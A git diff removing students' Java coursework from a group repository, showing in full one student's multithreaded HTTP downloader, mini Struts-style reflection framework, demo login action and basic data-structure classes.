 delete mode 100644 group23/632678665/com/basic/week3/download/impl/ConnectionImpl.java
 delete mode 100644 group23/632678665/com/basic/week3/download/impl/ConnectionManagerImpl.java
 delete mode 100644 group23/632678665/com/basic/week4/jvm/loader/ClassFileLoader.java
 delete mode 100644 group23/632678665/com/basic/week4/jvm/test/EmployeeV1.java
 delete mode 100644 group23/632678665/com/basic/week4/lru/LRUPageFrame.java
 delete mode 100644 group23/632678665/com/basic/week5/stack/StackUtil.java
 delete mode 100644 group23/632678665/com/basic/week6/expr/InfixExpr.java
 delete mode 100644 group23/632678665/com/basic/week6/expr/Token.java
 delete mode 100644 group23/632678665/com/basic/week6/exprNew/InfixExpr.java
 delete mode 100644 group23/632678665/com/basic/week6/exprNew/Operator.java
 delete mode 100644 group23/632678665/com/basic/week6/exprNew/Token.java
 delete mode 100644 group23/632678665/com/basic/week6/exprNew/TokenParser.java
 delete mode 100644 group23/632678665/com/basic/week7/stack/MyStack.java
 delete mode 100644 group23/632678665/com/basic/week7/stack/StackUtil.java
 delete mode 100644 group23/632678665/com/basic/week7/stack/expr/ExprIterator.java
 delete mode 100644 group23/632678665/com/basic/week7/stack/expr/InfixExpr.java
 delete mode 100644 group23/632678665/com/basic/week7/stack/expr/InfixToPostExpr.java
 delete mode 100644 group23/632678665/com/basic/week7/stack/expr/InfixToPostExprTest.java
 delete mode 100644 group23/632678665/com/basic/week7/stack/expr/PostfixExpr.java
 delete mode 100644 group23/632678665/com/basic/week7/stack/expr/PostfixExprTest.java
 delete mode 100644 group23/632678665/com/basic/week7/stack/expr/PrefixExpr.java
 delete mode 100644 group23/632678665/com/basic/week7/stack/expr/PrefixExprTest.java
 delete mode 100644 group23/632678665/com/basic/week7/stack/expr/Token.java
 delete mode 100644 group23/632678665/com/basic/week7/stack/expr/TokenParser.java
 delete mode 100644 group23/632678665/com/basic/week7/stack/expr/TokenParserTest.java
 delete mode 100644 group23/632678665/com/basic/week8/CircleQueue.java
 delete mode 100644 group23/632678665/com/basic/week8/Josephus.java
 delete mode 100644 group23/632678665/com/basic/week8/Queue.java
 delete mode 100644 group23/632678665/com/basic/week8/QueueWithTwoStacks.java
 delete mode 100644 group23/632678665/com/basic/week9/QuickMinStack.java
 delete mode 100644 group23/632678665/com/basic/week9/StackWithTwoQueues.java
 delete mode 100644 group23/632678665/com/basic/week9/TwoStackInOneArray.java
 delete mode 100644 group23/729693763/First_Homework1/readme.md
 delete mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/ArrayList.java
 delete mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/BinaryTreeNode.java
 delete mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/Iterator.java
 delete mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/LinkedList.java
 delete mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/List.java
 delete mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/Queue.java
 delete mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/Stack.java
 delete mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/test/ArrayListTest.java
 delete mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/test/BinaryTreeNodeTest.java
 delete mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/test/LinkedListTest.java
 delete mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/test/QueueTest.java
 delete mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/test/StackTest.java
 delete mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/test/SuitTest.java
 delete mode 100644 group23/729693763/Second_Homework2/src/com/danny/hw2/ArrayUtil.java
 delete mode 100644 group23/729693763/Second_Homework2/src/com/danny/hw2/LoginAction.java
 delete mode 100644 group23/729693763/Second_Homework2/src/com/danny/hw2/Struts.java
 delete mode 100644 group23/729693763/Second_Homework2/src/com/danny/hw2/View.java
 delete mode 100644 group23/729693763/Second_Homework2/src/com/danny/hw2/test/ArrayUtilTest.java
 delete mode 100644 group23/729693763/Second_Homework2/src/com/danny/hw2/test/StrutsTest.java
 delete mode 100644 group23/729693763/Third_Homework3/DataStruct/Iterator.java
 delete mode 100644 group23/729693763/Third_Homework3/DataStruct/LinkedList.java
 delete mode 100644 group23/729693763/Third_Homework3/DataStruct/List.java
 delete mode 100644 group23/729693763/Third_Homework3/download/DownloadThread.java
 delete mode 100644 group23/729693763/Third_Homework3/download/FileDownloader.java
 delete mode 100644 group23/729693763/Third_Homework3/download/FileDownloaderTest.java
 delete mode 100644 group23/729693763/Third_Homework3/download/api/Connection.java
 delete mode 100644 group23/729693763/Third_Homework3/download/api/ConnectionException.java
 delete mode 100644 group23/729693763/Third_Homework3/download/api/ConnectionManager.java
 delete mode 100644 group23/729693763/Third_Homework3/download/api/DownloadListener.java
 delete mode 100644 group23/729693763/Third_Homework3/download/impl/ConnectionImpl.java
 delete mode 100644 group23/729693763/Third_Homework3/download/impl/ConnectionManagerImpl.java
 delete mode 100644 group23/729693763/homework1_demo/ArrayList.java
 delete mode 100644 group23/729693763/homework1_demo/BinaryTreeNode.java
 delete mode 100644 group23/729693763/homework1_demo/Iterator.java
 delete mode 100644 group23/729693763/homework1_demo/LinkedList.java
 delete mode 100644 group23/729693763/homework1_demo/List.java
 delete mode 100644 group23/729693763/homework1_demo/Queue.java
 delete mode 100644 group23/729693763/homework1_demo/Stack.java
 delete mode 100644 group23/729693763/readme.md
 delete mode 100644 group23/769232552/coding/src/main/java/code01/ArrayList.java
 delete mode 100644 group23/769232552/coding/src/main/java/code01/BinaryTree.java
 delete mode 100644 group23/769232552/coding/src/main/java/code01/Iterator.java
 delete mode 100644 group23/769232552/coding/src/main/java/code01/LinkedList.java
 delete mode 100644 group23/769232552/coding/src/main/java/code01/List.java
 delete mode 100644 group23/769232552/coding/src/main/java/code01/Queue.java
 delete mode 100644 group23/769232552/coding/src/main/java/code01/Stack.java
 delete mode 100644 group23/769232552/coding/src/main/java/code02/ArrayUtil.java
 delete mode 100644 group23/769232552/coding/src/main/java/code02/litestruts/ActionConfig.java
 delete mode 100644 group23/769232552/coding/src/main/java/code02/litestruts/Configuration.java
 delete mode 100644 group23/769232552/coding/src/main/java/code02/litestruts/LoginAction.java
 delete mode 100644 group23/769232552/coding/src/main/java/code02/litestruts/ReflectionUtil.java
 delete mode 100644 group23/769232552/coding/src/main/java/code02/litestruts/Struts.java
 delete mode 100644 group23/769232552/coding/src/main/java/code02/litestruts/View.java
 delete mode 100644 group23/769232552/coding/src/main/java/code03/DownloadThread.java
 delete mode 100644 group23/769232552/coding/src/main/java/code03/FileDownloader.java
 delete mode 100644 group23/769232552/coding/src/main/java/code03/api/Connection.java
 delete mode 100644 group23/769232552/coding/src/main/java/code03/api/ConnectionException.java
 delete mode 100644 group23/769232552/coding/src/main/java/code03/api/ConnectionManager.java
 delete mode 100644 group23/769232552/coding/src/main/java/code03/api/DownloadListener.java
 delete mode 100644 group23/769232552/coding/src/main/java/code03/impl/ConnectionImpl.java
 delete mode 100644 group23/769232552/coding/src/main/java/code03/impl/ConnectionManagerImpl.java
 delete mode 100644 group23/769232552/coding/src/main/java/code04/LRUPageFrame.java
 delete mode 100644 group23/769232552/coding/src/main/java/mini_jvm/loader/ClassFileLoader.java
 delete mode 100644 group23/769232552/coding/src/test/java/code01/ArrayListTest.java
 delete mode 100644 group23/769232552/coding/src/test/java/code01/BinaryTreeTest.java
 delete mode 100644 group23/769232552/coding/src/test/java/code01/LinkedListTest.java
 delete mode 100644 group23/769232552/coding/src/test/java/code01/QueueTest.java
 delete mode 100644 group23/769232552/coding/src/test/java/code01/StackTest.java
 delete mode 100644 group23/769232552/coding/src/test/java/code02/ArrayUtilTest.java
 delete mode 100644 group23/769232552/coding/src/test/java/code02/litestruts/StrutsTest.java
 delete mode 100644 group23/769232552/coding/src/test/java/code03/FileDownloaderTest.java
 delete mode 100644 group23/769232552/coding/src/test/java/code04/LRUPageFrameTest.java
 delete mode 100644 group23/769232552/coding/src/test/java/mini_jvm/ClassFileloaderTest.java
 delete mode 100644 group23/769232552/coding/src/test/java/mini_jvm/EmployeeV1.java
 delete mode 100644 group23/810181789/src/firstday/ArrayListt.java
 delete mode 100644 group23/810181789/src/firstday/LinkListt.java
 delete mode 100644 group23/810181789/src/firstday/Queue.java
 delete mode 100644 group23/810181789/src/firstday/Stack.java
 delete mode 100644 group23/group23.md

diff --git a/group23/1028361767/1028361767.md b/group23/1028361767/1028361767.md
deleted file mode 100644
index 741976ad6e..0000000000
--- a/group23/1028361767/1028361767.md
+++ /dev/null
@@ -1 +0,0 @@
-This is 1028361767's project.
\ No newline at end of file
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/DownloadThread.java b/group23/1028361767/data-structure/src/com/coderising/download/DownloadThread.java
deleted file mode 100644
index 8cf0ae1e42..0000000000
--- a/group23/1028361767/data-structure/src/com/coderising/download/DownloadThread.java
+++ /dev/null
@@ -1,31 +0,0 @@
-package com.coderising.download;
-
-import java.io.IOException;
-import java.io.RandomAccessFile;
-
-import com.coderising.download.api.Connection;
-
-public class DownloadThread extends Thread{
-
-	Connection conn;
-	int startPos;
-	int endPos;
-
-	public DownloadThread( Connection conn, int startPos, int endPos){
-		
-		this.conn = conn;		
-		this.startPos = startPos;
-		this.endPos = endPos;
-	}
-	public void run(){	
-		try {
-			byte[] bytes = conn.read(startPos, endPos);
-			RandomAccessFile file = new RandomAccessFile("/Users/jie/Desktop/test.png", "rw");
-			file.seek(startPos);
-			file.write(bytes);
-			file.close();
-		} catch (IOException e) {
-			e.printStackTrace();
-		}
-	}
-}
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/FileDownloader.java b/group23/1028361767/data-structure/src/com/coderising/download/FileDownloader.java
deleted file mode 100644
index 1fe4ebb159..0000000000
--- a/group23/1028361767/data-structure/src/com/coderising/download/FileDownloader.java
+++ /dev/null
@@ -1,104 +0,0 @@
-package com.coderising.download;
-
-import com.coderising.download.api.Connection;
-import com.coderising.download.api.ConnectionException;
-import com.coderising.download.api.ConnectionManager;
-import com.coderising.download.api.DownloadListener;
-
-
-public class FileDownloader {
-	
-	String url;
-	
-	DownloadListener listener;
-	
-	ConnectionManager cm;
-	
-	Thread[] threads = new Thread[3];
-	
-
-	public FileDownloader(String _url) {
-		this.url = _url;
-		
-	}
-	
-	public void execute(){
-		// 在这里实现你的代码， 注意： 需要用多线程实现下载
-		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
-		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
-		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
-		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
-		// 具体的实现思路：
-		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
-		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
-		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
-		// 3. 把byte数组写入到文件中
-		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
-		
-		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
-		Connection conn = null;
-		try {
-			
-			conn = cm.open(this.url);
-			
-			int length = conn.getContentLength();
-			
-			int size = length / 3;
-			int remain = length - size;
-			
-			for(int i=0;i<3;i++){
-				conn = cm.open(this.url);
-				int startPos = i*size;
-				int endPos = (i+1) * size - 1;
-				if(i == 2){
-					endPos = (i+1) * size - 1 + remain;
-				}
-				threads[i] = new DownloadThread(conn,startPos,endPos);
-				threads[i].start();
-			}
-
-			new Thread(new Runnable(){
-				public void run(){
-					boolean finish;
-					do{
-						finish = true;
-						for(int i=0;i<threads.length;i++){
-//							System.out.println("线程" + i + "状态:" + threads[i].getState());
-							if(!"TERMINATED".equals(threads[i].getState().toString())){
-								finish = false;
-								continue;
-							}
-						}
-					}while(!finish);
-					getListener().notifyFinished();
-				}
-			}).start();;
-			
-		} catch (ConnectionException e) {			
-			e.printStackTrace();
-		}finally{
-			if(conn != null){
-				conn.close();
-			}
-		}
-		
-		
-		
-		
-	}
-	
-	public void setListener(DownloadListener listener) {
-		this.listener = listener;
-	}
-
-	
-	
-	public void setConnectionManager(ConnectionManager ucm){
-		this.cm = ucm;
-	}
-	
-	public DownloadListener getListener(){
-		return this.listener;
-	}
-	
-}
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/FileDownloaderTest.java b/group23/1028361767/data-structure/src/com/coderising/download/FileDownloaderTest.java
deleted file mode 100644
index 128a302664..0000000000
--- a/group23/1028361767/data-structure/src/com/coderising/download/FileDownloaderTest.java
+++ /dev/null
@@ -1,59 +0,0 @@
-package com.coderising.download;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.download.api.ConnectionManager;
-import com.coderising.download.api.DownloadListener;
-import com.coderising.download.impl.ConnectionManagerImpl;
-
-public class FileDownloaderTest {
-	boolean downloadFinished = false;
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testDownload() {
-		
-		String url = "http://pic6.huitu.com/res/20130116/84481_20130116142820494200_1.jpg";
-		
-		FileDownloader downloader = new FileDownloader(url);
-
-	
-		ConnectionManager cm = new ConnectionManagerImpl();
-		downloader.setConnectionManager(cm);
-		
-		downloader.setListener(new DownloadListener() {
-			@Override
-			public void notifyFinished() {
-				downloadFinished = true;
-			}
-
-		});
-
-		
-		downloader.execute();
-		
-		// 等待多线程下载程序执行完毕
-		while (!downloadFinished) {
-			try {
-				System.out.println("还没有下载完成，休眠五秒");
-				//休眠5秒
-				Thread.sleep(5000);
-			} catch (InterruptedException e) {				
-				e.printStackTrace();
-			}
-		}
-		System.out.println("下载完成！");
-		
-		
-
-	}
-
-}
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/api/Connection.java b/group23/1028361767/data-structure/src/com/coderising/download/api/Connection.java
deleted file mode 100644
index 15534af093..0000000000
--- a/group23/1028361767/data-structure/src/com/coderising/download/api/Connection.java
+++ /dev/null
@@ -1,26 +0,0 @@
-package com.coderising.download.api;
-
-import java.io.IOException;
-import java.net.HttpURLConnection;
-
-public interface Connection {
-	/**
-	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
-	 * @param startPos 开始位置， 从0开始
-	 * @param endPos 结束位置
-	 * @return
-	 */
-	public byte[] read(int startPos,int endPos) throws IOException;
-	/**
-	 * 得到数据内容的长度
-	 * @return
-	 */
-	public int getContentLength();
-	
-	/**
-	 * 关闭连接
-	 */
-	public void close();
-	
-	public void setConnection(HttpURLConnection conn);
-}
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/api/ConnectionException.java b/group23/1028361767/data-structure/src/com/coderising/download/api/ConnectionException.java
deleted file mode 100644
index 112d1156e8..0000000000
--- a/group23/1028361767/data-structure/src/com/coderising/download/api/ConnectionException.java
+++ /dev/null
@@ -1,8 +0,0 @@
-package com.coderising.download.api;
-
-public class ConnectionException extends Exception {
-	
-	public ConnectionException(Exception e){
-		super(e);
-	}
-}
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/api/ConnectionManager.java b/group23/1028361767/data-structure/src/com/coderising/download/api/ConnectionManager.java
deleted file mode 100644
index ce045393b1..0000000000
--- a/group23/1028361767/data-structure/src/com/coderising/download/api/ConnectionManager.java
+++ /dev/null
@@ -1,10 +0,0 @@
-package com.coderising.download.api;
-
-public interface ConnectionManager {
-	/**
-	 * 给定一个url , 打开一个连接
-	 * @param url
-	 * @return
-	 */
-	public Connection open(String url) throws ConnectionException;	
-}
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/api/DownloadListener.java b/group23/1028361767/data-structure/src/com/coderising/download/api/DownloadListener.java
deleted file mode 100644
index bf9807b307..0000000000
--- a/group23/1028361767/data-structure/src/com/coderising/download/api/DownloadListener.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package com.coderising.download.api;
-
-public interface DownloadListener {
-	public void notifyFinished();
-}
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/impl/ConnectionImpl.java b/group23/1028361767/data-structure/src/com/coderising/download/impl/ConnectionImpl.java
deleted file mode 100644
index e7a8b1ef1e..0000000000
--- a/group23/1028361767/data-structure/src/com/coderising/download/impl/ConnectionImpl.java
+++ /dev/null
@@ -1,62 +0,0 @@
-package com.coderising.download.impl;
-
-import java.io.ByteArrayOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.net.HttpURLConnection;
-
-import com.coderising.download.api.Connection;
-
-public class ConnectionImpl implements Connection{
-	
-	private HttpURLConnection conn;
-	
-	private InputStream inputStream;
-	
-	private ByteArrayOutputStream outputStream;
-	@Override
-	public byte[] read(int startPos, int endPos) throws IOException {
-		byte[] bytes = new byte[1024];
-		conn.setRequestProperty("Range", "bytes=" + startPos + "-" + endPos);
-		inputStream = conn.getInputStream();
-		outputStream = new ByteArrayOutputStream();
-		int n = 0;
-		while((n = inputStream.read(bytes)) != -1){
-			outputStream.write(bytes, 0, n);
-		}
-		return outputStream.toByteArray();
-	}
-
-	@Override
-	public int getContentLength() {
-		return conn.getContentLength();
-	}
-
-	@Override
-	public void close() {
-		conn.disconnect();
-		if(inputStream != null){
-			try {
-				inputStream.close();
-			} catch (IOException e) {
-				e.printStackTrace();
-			}
-		}
-		if(outputStream != null){
-			try {
-				outputStream.close();
-			} catch (IOException e) {
-				e.printStackTrace();
-			}
-		}
-	}
-
-	public HttpURLConnection getConnection() {
-		return conn;
-	}
-
-	public void setConnection(HttpURLConnection conn) {
-		this.conn = conn;
-	}
-
-}
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/impl/ConnectionManagerImpl.java b/group23/1028361767/data-structure/src/com/coderising/download/impl/ConnectionManagerImpl.java
deleted file mode 100644
index 9d9c2af144..0000000000
--- a/group23/1028361767/data-structure/src/com/coderising/download/impl/ConnectionManagerImpl.java
+++ /dev/null
@@ -1,26 +0,0 @@
-package com.coderising.download.impl;
-
-import java.io.IOException;
-import java.net.HttpURLConnection;
-import java.net.URL;
-
-import com.coderising.download.api.Connection;
-import com.coderising.download.api.ConnectionException;
-import com.coderising.download.api.ConnectionManager;
-
-public class ConnectionManagerImpl implements ConnectionManager {
-
-	@Override
-	public Connection open(String url) throws ConnectionException {
-		Connection connection = new ConnectionImpl();
-		try {
-			URL u = new URL(url);
-			HttpURLConnection conn = (HttpURLConnection)u.openConnection();
-			connection.setConnection(conn);
-		} catch (IOException e) {
-			e.printStackTrace();
-		}
-		return connection;
-	}
-
-}
diff --git a/group23/1028361767/data-structure/src/com/coderising/litestruts/LoginAction.java b/group23/1028361767/data-structure/src/com/coderising/litestruts/LoginAction.java
deleted file mode 100644
index dcdbe226ed..0000000000
--- a/group23/1028361767/data-structure/src/com/coderising/litestruts/LoginAction.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.coderising.litestruts;
-
-/**
- * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
- * @author liuxin
- *
- */
-public class LoginAction{
-    private String name ;
-    private String password;
-    private String message;
-
-    public String getName() {
-        return name;
-    }
-
-    public String getPassword() {
-        return password;
-    }
-
-    public String execute(){
-            if("test".equals(name) && "1234".equals(password)){
-                this.message = "login successful";
-                return "success";
-            }
-            this.message = "login failed,please check your user/pwd";
-            return "fail";
-    }
-
-    public void setName(String name){
-        this.name = name;
-    }
-    public void setPassword(String password){
-        this.password = password;
-    }
-    public String getMessage(){
-        return this.message;
-    }
-}
diff --git a/group23/1028361767/data-structure/src/com/coderising/litestruts/Struts.java b/group23/1028361767/data-structure/src/com/coderising/litestruts/Struts.java
deleted file mode 100644
index 7757668834..0000000000
--- a/group23/1028361767/data-structure/src/com/coderising/litestruts/Struts.java
+++ /dev/null
@@ -1,181 +0,0 @@
-package com.coderising.litestruts;
-
-import java.io.File;
-import java.lang.reflect.Method;
-import java.util.HashMap;
-import java.util.Iterator;
-import java.util.Map;
-
-import org.dom4j.Document;
-import org.dom4j.DocumentException;
-import org.dom4j.Element;
-import org.dom4j.io.SAXReader;
-
-public class Struts {
-	
-	private final static Map<String, Action> actions = new HashMap<String, Action>();
-	
-    @SuppressWarnings("rawtypes")
-	public static View runAction(String actionName, Map<String,String> parameters) throws Exception {
-
-        /*
-         
-		0. 读取配置文件struts.xml
- 		
- 		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
-		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
-		("name"="test" ,  "password"="1234") ,     	
-		那就应该调用 setName和setPassword方法
-		
-		2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
-		
-		3. 通过反射找到对象的所有getter方法（例如 getMessage）,  
-		通过反射来调用， 把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,  
-		放到View对象的parameters
-		
-		4. 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，  
-		放到View对象的jsp字段中。
-        
-        */
-    	//读取xml，把xml信息放到actions
-    	readStrutsXML();
-    	
-    	Action action = actions.get(actionName);
-    	View view = new View();
-    	if(action != null){
-			Class clazz = Class.forName(action.getClassName());
-    		Object obj = clazz.newInstance();
-    		
-    		//根据parameters调用set方法
-    		initClass(clazz, obj, action, parameters);
-    		
-    		//调用execute方法
-    		String result = execute(clazz, obj);
-    		//调用所有get方法
-    		Map resultParameters = getResultParameters(clazz, obj);
-    		
-    		view.setJsp(action.getResults().get(result));
-    		view.setParameters(resultParameters);
-    	}
-    
-    	return view;
-    }
-
-	@SuppressWarnings("rawtypes")
-	private static Map getResultParameters(Class clazz, Object obj) throws Exception {
-		Map<String, String> resultParameters = new HashMap<String, String>();
-		Method[] methods = clazz.getMethods();
-		String methodName;
-		String propName;
-		String propValue;
-		for(Method method : methods){
-			methodName = method.getName();
-			if(methodName.startsWith("get") && !"getClass".equals(methodName)){
-				propName = firstLetterLowerCase(methodName.substring(3, methodName.length()));
-				propValue = (String) method.invoke(obj);
-				resultParameters.put(propName, propValue);
-			}
-		}
-		return resultParameters;
-	}
-
-	@SuppressWarnings({ "unchecked", "rawtypes" })
-	private static String execute(Class clazz, Object obj) throws Exception{
-		Method method = clazz.getMethod("execute");
-		return (String)method.invoke(obj);
-	}
-
-	@SuppressWarnings({ "unchecked", "rawtypes" })
-	private static void initClass(Class clazz, Object obj, Action action, Map<String, String> parameters) throws Exception {
-		String setMethodName;
-		Method method = null;
-		for (String parameter : parameters.keySet()) {
-			setMethodName = "set" + firstLetterUpperCase(parameter);
-			method = clazz.getMethod(setMethodName, String.class);
-			method.invoke(obj, parameters.get(parameter));
-		}
-	}
-	
-	private static String firstLetterLowerCase(String string){
-		char[] cs = string.toCharArray();
-		cs[0] += 32;
-		return String.valueOf(cs);
-	}
-	
-	private static String firstLetterUpperCase(String string){
-		char[] cs = string.toCharArray();
-		cs[0] -= 32;
-		return String.valueOf(cs);
-	}
-
-	@SuppressWarnings("unchecked")
-	private static void readStrutsXML() {
-		SAXReader saxReader = new SAXReader();
-		Document document;
-		try {
-			document = saxReader.read(new File("src/com/coderising/litestruts/struts.xml"));
-		} catch (DocumentException e) {
-			System.out.println("error:file not found");
-			return ;
-		}
-		Element root = document.getRootElement();
-		Iterator<Element> actionItr = root.elementIterator();
-		Element action;
-		Action act;
-		Iterator<Element> resultItr;
-		Element result;
-		Map<String, String> results;
-		while(actionItr.hasNext()){
-			action = actionItr.next();
-			
-			resultItr = action.elementIterator();
-			results = new HashMap<String, String>();
-			while(resultItr.hasNext()){
-				result = resultItr.next();
-				results.put(result.attributeValue("name"), result.getStringValue());
-			}
-			
-			act = new Action();
-			act.setName(action.attributeValue("name"));
-			act.setClassName(action.attributeValue("class"));
-			act.setResults(results);
-			
-			actions.put(act.getName(), act);
-		}
-	}    
-	
-	static class Action {
-		
-		private String name;
-		
-		private String className;
-		
-		private Map<String, String> results = new HashMap<>();
-		
-		public Map<String, String> getResults() {
-			return results;
-		}
-
-		public void setResults(Map<String, String> results) {
-			this.results = results;
-		}
-
-		public String getName() {
-			return name;
-		}
-
-		public void setName(String name) {
-			this.name = name;
-		}
-
-		public String getClassName() {
-			return className;
-		}
-
-		public void setClassName(String className) {
-			this.className = className;
-		}
-
-	}
-
-}
diff --git a/group23/1028361767/data-structure/src/com/coderising/litestruts/StrutsTest.java b/group23/1028361767/data-structure/src/com/coderising/litestruts/StrutsTest.java
deleted file mode 100644
index 92a6758a69..0000000000
--- a/group23/1028361767/data-structure/src/com/coderising/litestruts/StrutsTest.java
+++ /dev/null
@@ -1,43 +0,0 @@
-package com.coderising.litestruts;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-
-
-
-
-public class StrutsTest {
-
-	@Test
-	public void testLoginActionSuccess() throws Exception {
-		
-		String actionName = "login";
-        
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","1234");
-        
-        
-        View view  = Struts.runAction(actionName,params);        
-        
-        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
-        Assert.assertEquals("login successful", view.getParameters().get("message"));
-	}
-
-	@Test
-	public void testLoginActionFailed() throws Exception {
-		String actionName = "login";
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","123456"); //密码和预设的不一致
-        
-        View view  = Struts.runAction(actionName,params);        
-        
-        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
-        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
-	}
-}
diff --git a/group23/1028361767/data-structure/src/com/coderising/litestruts/View.java b/group23/1028361767/data-structure/src/com/coderising/litestruts/View.java
deleted file mode 100644
index 07df2a5dab..0000000000
--- a/group23/1028361767/data-structure/src/com/coderising/litestruts/View.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.litestruts;
-
-import java.util.Map;
-
-public class View {
-	private String jsp;
-	private Map parameters;
-	
-	public String getJsp() {
-		return jsp;
-	}
-	public View setJsp(String jsp) {
-		this.jsp = jsp;
-		return this;
-	}
-	public Map getParameters() {
-		return parameters;
-	}
-	public View setParameters(Map parameters) {
-		this.parameters = parameters;
-		return this;
-	}
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/BinaryTreeNode.java b/group23/1028361767/data-structure/src/com/coding/basic/BinaryTreeNode.java
deleted file mode 100644
index dced34e873..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/BinaryTreeNode.java
+++ /dev/null
@@ -1,97 +0,0 @@
-package com.coding.basic;
-
-public class BinaryTreeNode {
-
-    private Object data;
-    private BinaryTreeNode left;
-    private BinaryTreeNode right;
-    private BinaryTreeNode parent;
-
-    public BinaryTreeNode(Object data) {
-        this.data = data;
-    }
-
-    public Object getData() {
-        return data;
-    }
-
-    public void setData(Object data) {
-        this.data = data;
-    }
-
-    public BinaryTreeNode getLeft() {
-        return left;
-    }
-
-    public void setLeft(BinaryTreeNode left) {
-        this.left = left;
-    }
-
-    public BinaryTreeNode getRight() {
-        return right;
-    }
-
-    public void setRight(BinaryTreeNode right) {
-        this.right = right;
-    }
-
-    public void setParent(BinaryTreeNode parent) {
-        this.parent = parent;
-    }
-
-    public BinaryTreeNode getParent() {
-        return parent;
-    }
-
-    public BinaryTreeNode insert(Object o) {
-        BinaryTreeNode newNode = new BinaryTreeNode(o);
-        BinaryTreeNode root = findRoot(this);
-        if (root.data == null) {
-            root.data = newNode;
-        } else {
-            int newVal = getNodeIntVal(newNode);
-            insert(root, newNode, newVal);
-        }
-        return newNode;
-    }
-
-    private void insert(BinaryTreeNode node, BinaryTreeNode newNode, int newVal) {
-        int nodeVal = getNodeIntVal(node);
-        if (newVal < nodeVal) {
-            if (node.left == null) {
-                newNode.parent = node;
-                node.left = newNode;
-            } else {
-                insert(node.left, newNode, newVal);
-            }
-        } else {
-            if (node.right == null) {
-                newNode.parent = node;
-                node.right = newNode;
-            } else {
-                insert(node.right, newNode, newVal);
-            }
-        }
-    }
-
-    private BinaryTreeNode findRoot(BinaryTreeNode binaryTreeNode) {
-        while (binaryTreeNode.parent != null) {
-            binaryTreeNode = binaryTreeNode.parent;
-        }
-        return binaryTreeNode;
-    }
-
-    private int getNodeIntVal(BinaryTreeNode node) {
-        if (node.data instanceof Integer) {
-            return ((Integer) node.data).intValue();
-        }
-        return 0;
-    }
-
-    public int getDataIntVal() {
-        if (data instanceof Integer) {
-            return ((Integer) data).intValue();
-        }
-        return 0;
-    }
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/Iterator.java b/group23/1028361767/data-structure/src/com/coding/basic/Iterator.java
deleted file mode 100644
index 96adcd6d3a..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/Iterator.java
+++ /dev/null
@@ -1,8 +0,0 @@
-package com.coding.basic;
-
-public interface Iterator {
-    public boolean hasNext();
-
-    public Object next();
-
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/List.java b/group23/1028361767/data-structure/src/com/coding/basic/List.java
deleted file mode 100644
index 01398944e6..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/List.java
+++ /dev/null
@@ -1,13 +0,0 @@
-package com.coding.basic;
-
-public interface List {
-    public void add(Object o);
-
-    public void add(int index, Object o);
-
-    public Object get(int index);
-
-    public Object remove(int index);
-
-    public int size();
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/Queue.java b/group23/1028361767/data-structure/src/com/coding/basic/Queue.java
deleted file mode 100644
index ddd1b74d90..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/Queue.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package com.coding.basic;
-
